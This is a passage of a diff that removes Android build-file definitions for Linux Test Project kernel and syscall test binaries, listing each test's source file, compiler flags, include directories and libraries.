-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/flock/flock05.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_flock04",
-    stem: "flock04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/flock/flock04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_flock06",
-    stem: "flock06",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/flock/flock06.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_genfmod",
-    stem: "genfmod",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/misc/math/float/power/genfmod.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_flock03",
-    stem: "flock03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/flock/flock03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_flock02",
-    stem: "flock02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/flock/flock02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_recvfrom01",
-    stem: "recvfrom01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/recvfrom/recvfrom01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mknodat01",
-    stem: "mknodat01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mknodat/mknodat01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mknod06",
-    stem: "mknod06",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mknod/mknod06.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mknodat02",
-    stem: "mknodat02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mknodat/mknodat02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fallocate03",
-    stem: "fallocate03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fallocate/fallocate03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setns01",
-    stem: "setns01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setns/setns01.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-Wno-unused-function",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mmap3",
-    stem: "mmap3",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/mtest06/mmap3.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mmap2",
-    stem: "mmap2",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/mtest06/mmap2.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_dup01",
-    stem: "dup01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/dup/dup01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_dup03",
-    stem: "dup03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/dup/dup03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_ftruncate03",
-    stem: "ftruncate03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/ftruncate/ftruncate03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/ftruncate",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setdomainname01",
-    stem: "setdomainname01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setdomainname/setdomainname01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_string01",
-    stem: "string01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/string/string01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sigtimedwait01",
-    stem: "sigtimedwait01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sigwaitinfo/sigwaitinfo01.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-DTEST_SIGTIMEDWAIT",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setdomainname02",
-    stem: "setdomainname02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setdomainname/setdomainname02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_connect01",
-    stem: "connect01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/connect/connect01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_pth_str03",
-    stem: "pth_str03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/sched/pthreads/pth_str03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_pth_str02",
-    stem: "pth_str02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/sched/pthreads/pth_str02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_stat05",
-    stem: "stat05",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/stat/stat05.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/stat",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_stat06",
-    stem: "stat06",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/stat/stat06.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/stat",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_stat01",
-    stem: "stat01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/stat/stat01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/stat",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_stat03",
-    stem: "stat03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/stat/stat03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/stat",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_stat02",
-    stem: "stat02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/stat/stat02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/stat",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_genfabs",
-    stem: "genfabs",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/misc/math/float/power/genfabs.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_readahead02",
-    stem: "readahead02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/readahead/readahead02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_getxattr02",
-    stem: "getxattr02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getxattr/getxattr02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mmap07",
-    stem: "mmap07",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mmap/mmap07.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_read_checkzero",
-    stem: "read_checkzero",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/io/ltp-aiodio/read_checkzero.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-DAIO",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_getxattr01",
-    stem: "getxattr01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getxattr/getxattr01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_page02",
-    stem: "page02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/page/page02.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-DLINUX",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl23",
-    stem: "fcntl23",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl23.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/fcntl",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_gettid01",
-    stem: "gettid01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/gettid/gettid01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setpgrp02",
-    stem: "setpgrp02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setpgrp/setpgrp02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mlockall03",
-    stem: "mlockall03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mlockall/mlockall03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mlockall02",
-    stem: "mlockall02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mlockall/mlockall02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mlockall01",
-    stem: "mlockall01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mlockall/mlockall01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_syslogtst",
-    stem: "syslogtst",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/syslog/syslogtst.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mc_verify_opts_error",
-    stem: "mc_verify_opts_error",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/network/multicast/mc_opts/mc_verify_opts_error.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_readlink02",
-    stem: "readlink02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/readlink/readlink02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_getdents02",
-    stem: "getdents02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getdents/getdents02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_open09",
-    stem: "open09",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/open/open09.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_open08",
-    stem: "open08",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/open/open08.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_unlink05",
-    stem: "unlink05",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/unlink/unlink05.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_llseek01",
-    stem: "llseek01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/llseek/llseek01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_open04",
-    stem: "open04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/open/open04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_llseek03",
-    stem: "llseek03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/llseek/llseek03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_llseek02",
-    stem: "llseek02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/llseek/llseek02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_open01",
-    stem: "open01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/open/open01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_cpuctl_def_task01",
-    stem: "cpuctl_def_task01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/controllers/cpuctl/cpuctl_def_task01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/controllers/libcontrollers",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_controllers",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_open03",
-    stem: "open03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/open/open03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_open02",
-    stem: "open02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/open/open02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_getpgid01",
-    stem: "getpgid01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getpgid/getpgid01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_renameat01",
-    stem: "renameat01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/renameat/renameat01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_getpgid02",
-    stem: "getpgid02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getpgid/getpgid02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_ima_boot_aggregate",
-    stem: "ima_boot_aggregate",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/security/integrity/ima/src/ima_boot_aggregate.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-    shared_libs: [
-        "libdl",
-        "libcrypto",
-    ],
-}
-
-cc_test {
-    name: "ltp_cgroup_fj_proc",
-    stem: "cgroup_fj_proc",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/controllers/cgroup_fj/cgroup_fj_proc.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/controllers/libcontrollers",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_personality01",
-    stem: "personality01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/personality/personality01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_personality02",
-    stem: "personality02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/personality/personality02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sigprocmask01",
-    stem: "sigprocmask01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sigprocmask/sigprocmask01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_timer_create03",
-    stem: "timer_create03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/timers/timer_create/timer_create03.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/timers/include",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setrlimit05",
-    stem: "setrlimit05",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setrlimit/setrlimit05.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setrlimit04",
-    stem: "setrlimit04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setrlimit/setrlimit04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setrlimit01",
-    stem: "setrlimit01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setrlimit/setrlimit01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_wait01",
-    stem: "wait01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/wait/wait01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_syslog12",
-    stem: "syslog12",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/syslog/syslog12.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setrlimit02",
-    stem: "setrlimit02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setrlimit/setrlimit02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_symlink01",
-    stem: "symlink01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/symlink/symlink01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_prctl01",
-    stem: "prctl01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/prctl/prctl01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_symlink02",
-    stem: "symlink02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/symlink/symlink02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_symlink05",
-    stem: "symlink05",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/symlink/symlink05.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_symlink04",
-    stem: "symlink04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/symlink/symlink04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_writetest",
-    stem: "writetest",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/io/writetest/writetest.c"],
-    cflags: [
-        "-D_LARGEFILE_SOURCE",
-        "-D_LARGEFILE64_SOURCE",
-        "-D_FORTIFY_SOURCE=2",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sched_setaffinity01",
-    stem: "sched_setaffinity01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sched_setaffinity/sched_setaffinity01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_bind02",
-    stem: "bind02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/bind/bind02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_bind01",
-    stem: "bind01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/bind/bind01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mc_verify_opts",
-    stem: "mc_verify_opts",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/network/multicast/mc_opts/mc_verify_opts.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_waitpid08",
-    stem: "waitpid08",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/waitpid/waitpid08.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_acl_file_test",
-    stem: "acl_file_test",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/fs/acls/acl_file_test.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_request_key01",
-    stem: "request_key01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/request_key/request_key01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_cpuctl_latency_check_task",
-    stem: "cpuctl_latency_check_task",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/controllers/cpuctl/cpuctl_latency_check_task.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/controllers/libcontrollers",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_controllers",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_setxattr02",
-    stem: "setxattr02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setxattr/setxattr02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mmapstress04",
-    stem: "mmapstress04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/mmapstress/mmapstress04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mmapstress07",
-    stem: "mmapstress07",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/mmapstress/mmapstress07.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_delete_module03",
-    stem: "delete_module03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/module/delete_module/delete_module03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_delete_module02",
-    stem: "delete_module02",
